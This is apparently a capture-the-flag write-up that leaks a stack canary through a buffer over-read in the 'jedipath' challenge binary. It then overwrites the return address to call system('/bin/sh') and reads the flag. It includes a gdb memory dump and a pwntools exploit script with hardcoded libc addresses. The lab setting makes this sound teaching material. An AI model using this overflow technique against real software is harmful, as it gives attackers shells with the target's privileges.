Return-to-libc 2

💡
Buffer over-reading a canary to then over-write it with its previous value with other variables such as the return address, so that it points to system and an "/bin/sh" as an argument.

The executable jedipath in the /challenges/jedipath/jedipath directory asks you to guess the Jedis thoughts (with 3 attempts) and if guessed correctly, returns the SHA256 encrypted flag file located in /challenges/jedipath/flag .

We want the flag file but the executables output is useless and only the jedipath executable has reading premission for that file.

After inspecting the (incomplete) source code we figure out that:

Our guess allocates 64 bytes but the scanner has no boundary (just adds a '\n' at the end)

We can not overwrite all following variables, since there is a canary

(gdb) r < <(python3 -c 'print("A"*64)')
x/40wx $esp0xffffd510:     0xf7fc1d80      0x00000001      0x1339f476      0xffffd53c
0xffffd520:     0x00000001      0xf7dedbd8      0xf7fcf410      0x00000000
0xffffd530:     0x00000001      0x00000040      0x1339f476      0x41414141
0xffffd540:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd550:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd560:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd570:     0x41414141      0x41414141      0x41414141      0x[CANARY]0a - where x\0a = '\n'
0xffffd580:     0x00000476      0x0804a000      0xffffd5a8      0x080489bf
0xffffd590:     0x00000001      0xffffd654      0xffffd65c      0x00000476
0xffffd5a0:     0xffffd5c0      0x00000000      0x00000000      0xf7e01f21

We sketched out what we assume the stack must look like aber looking at the memory:

| ...           | <- esp
|guess_len      |
|attempt        |
|correct_guesses|
|guessed_number |
|secret_number  |
|guess          | <- buffer, 64 byte
|canary         | <- 4 bytes (from which 3 are generated and 1 is always '\n')
| ...           | <- 12 bytes (padding)
|return address |
| ...           | 

Overwriting local variables with stack overflow is therefore generally not possible.

But a buffer-over-read is possible that enables us to read the canaries content, with a payload with exactly 64 chars, so that the executable also returns the canary (does not change after first attempt).

After getting the canary's value we can overwrite it without the system noticing and reach the return address.

This makes this program vulnerable to Return-to-libc attacks.

Exploitation

After the 3 generated bytes of the canary, followed a 12 byte sized padding there is the return address 0x080489bf .

Our goal was to use 2 out of 3 possible attempts to gain access to the shell with the rights of the jedipath executable by changing the return address:

  1. Attempt → payload with 64 chars to read canary
  1. Attempt → concatenate buffer with canary + padding to overwrite the return address to &system and previous parameters to the pointer that points to "/bin/sh" so that we call system(" /bin/sh") (to have a nested process within this process)

    The address of system : 0xf7e262e0

The used script:

...#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     i386-32-little
# RELRO:    Partial RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x8048000)io = start() #this is our process#ATTEMPT 1
input = 'A'*64 #to get the canary as the output
print(io.recvuntil(b"[1]"))
io.sendline(input)
print(io.readline())
canary = io.recvuntil(b'[2]')[:3] #get first 3 bytes as chars
print(bcolors.WARNING + "FOUND CANARY: " + canary + bcolors.ENDC)#ATTEMPT 2
p1 = p32(0x00000476)
p2 = p32(0x0804a000)
p3 = p32(0xffffd598)
padding = p1 + p2 + p3 #12 bytes
systemAddress = p32(0xf7e262e0)
fakeRet = p32(0xdeadbeef) #does not matter
binsh = p32(0xf7f670af)
payload = input + b"\x00" + canary + padding + systemAddress + fakeRet + binsh
io.sendline(payload)io.interactive()

We then got access to the shell with the privileges of the jedipath executable and just used the linux shell cat command to read the flag:

WUT{Much_t0_l34rn_y0u_st1ll_h4v3!}